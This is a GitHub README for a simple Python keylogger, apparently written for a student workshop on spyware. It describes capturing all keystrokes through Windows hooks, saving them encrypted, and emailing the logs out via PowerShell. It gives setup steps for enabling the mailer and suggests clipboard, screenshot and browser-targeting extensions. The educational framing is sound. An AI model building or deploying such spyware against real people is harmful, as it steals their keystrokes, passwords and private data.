Skip to content

MedAliMarz/KeyLogger-Implementation

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

A Simple KeyLogger Implementation

This keylogger was implemented during a workshop titled Spyware introduction provided by Securinets (cybersec club at INSAT)


Note : For more clarity on Hooks module please check Hooks.pdf

Feature

  • Capture all keystrokes using windows hooks and map them to english alphabet and control caracteres
  • Encrypt the keystrokes and save them in local file
  • Send those saved files via email (using powershell)
  • Doesn't require any third-party library

Improvement Ideas

  • Screenshot Feature
  • Keystrokes analyser (extracting informations)
  • Clipboard Logging Feature
  • Support other language (example: Russian, Arabic etc)
  • Trageting specific softwares (example : targeting webbrowser to collect only critical data)

How To Run it

  • Change the credentiels in Mailer.py ( also check your email client denies non secure apps)
REC_ADD = "your email"
SEN_ADD = "your email"
SEN_PASS = "your password"
  • if you want to use the emailing feature just uncomment in Hooks.py
        #mail_result = Mailer.send_mail(f'Log [{name}]','File attached',path)
  • Second just run the main
    python ./main.py

About

Implementing basic keylogger using python

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages